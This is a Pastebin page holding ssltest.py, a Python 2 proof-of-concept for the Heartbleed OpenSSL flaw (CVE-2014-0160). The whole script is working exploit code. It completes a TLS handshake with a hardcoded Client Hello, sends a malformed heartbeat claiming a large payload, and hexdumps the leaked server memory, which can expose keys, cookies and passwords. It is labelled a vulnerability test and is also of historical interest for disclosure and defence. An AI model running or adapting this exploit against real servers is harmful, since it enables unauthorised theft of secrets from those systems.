Advertisement
Guest User

ssltest.py

a guest
Apr 10th, 2014
1,060
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.22 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  4. # The author disclaims copyright to this source code.
  5.  
  6. import sys
  7. import struct
  8. import socket
  9. import time
  10. import select
  11. import re
  12. from optparse import OptionParser
  13.  
  14. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  15. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  16.  
  17. def h2bin(x):
  18.     return x.replace(' ', '').replace('\n', '').decode('hex')
  19.  
  20. hello = h2bin('''
  21. 16 03 02 00  dc 01 00 00 d8 03 02 53
  22. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  23. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  24. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  25. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  26. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  27. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  28. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  29. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  30. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  31. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  32. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  33. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  34. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  35. 00 0f 00 01 01                                  
  36. ''')
  37.  
  38. hb = h2bin('''
  39. 18 03 02 00 03
  40. 01 40 00
  41. ''')
  42.  
  43. def hexdump(s):
  44.     for b in xrange(0, len(s), 16):
  45.         lin = [c for c in s[b : b + 16]]
  46.         hxdat = ' '.join('%02X' % ord(c) for c in lin)
  47.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  48.         print '  %04x: %-48s %s' % (b, hxdat, pdat)
  49.     print
  50.  
  51. def recvall(s, length, timeout=5):
  52.     endtime = time.time() + timeout
  53.     rdata = ''
  54.     remain = length
  55.     while remain > 0:
  56.         rtime = endtime - time.time()
  57.         if rtime < 0:
  58.             return None
  59.         r, w, e = select.select([s], [], [], 5)
  60.         if s in r:
  61.             data = s.recv(remain)
  62.             # EOF?
  63.             if not data:
  64.                 return None
  65.             rdata += data
  66.             remain -= len(data)
  67.     return rdata
  68.        
  69.  
  70. def recvmsg(s):
  71.     hdr = recvall(s, 5)
  72.     if hdr is None:
  73.         print 'Unexpected EOF receiving record header - server closed connection'
  74.         return None, None, None
  75.     typ, ver, ln = struct.unpack('>BHH', hdr)
  76.     pay = recvall(s, ln, 10)
  77.     if pay is None:
  78.         print 'Unexpected EOF receiving record payload - server closed connection'
  79.         return None, None, None
  80.     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  81.     return typ, ver, pay
  82.  
  83. def hit_hb(s):
  84.     s.send(hb)
  85.     while True:
  86.         typ, ver, pay = recvmsg(s)
  87.         if typ is None:
  88.             print 'No heartbeat response received, server likely not vulnerable'
  89.             return False
  90.  
  91.         if typ == 24:
  92.             print 'Received heartbeat response:'
  93.             hexdump(pay)
  94.             if len(pay) > 3:
  95.                 print 'WARNING: server returned more data than it should - server is vulnerable!'
  96.             else:
  97.                 print 'Server processed malformed heartbeat, but did not return any extra data.'
  98.             return True
  99.  
  100.         if typ == 21:
  101.             print 'Received alert:'
  102.             hexdump(pay)
  103.             print 'Server returned error, likely not vulnerable'
  104.             return False
  105.  
  106. def main():
  107.     opts, args = options.parse_args()
  108.     if len(args) < 1:
  109.         options.print_help()
  110.         return
  111.  
  112.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  113.     print 'Connecting...'
  114.     sys.stdout.flush()
  115.     s.connect((args[0], opts.port))
  116.     print 'Sending Client Hello...'
  117.     sys.stdout.flush()
  118.     s.send(hello)
  119.     print 'Waiting for Server Hello...'
  120.     sys.stdout.flush()
  121.     while True:
  122.         typ, ver, pay = recvmsg(s)
  123.         if typ == None:
  124.             print 'Server closed connection without sending Server Hello.'
  125.             return
  126.         # Look for server hello done message.
  127.         if typ == 22 and ord(pay[0]) == 0x0E:
  128.             break
  129.  
  130.     print 'Sending heartbeat request...'
  131.     sys.stdout.flush()
  132.     s.send(hb)
  133.     hit_hb(s)
  134.  
  135. if __name__ == '__main__':
  136.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement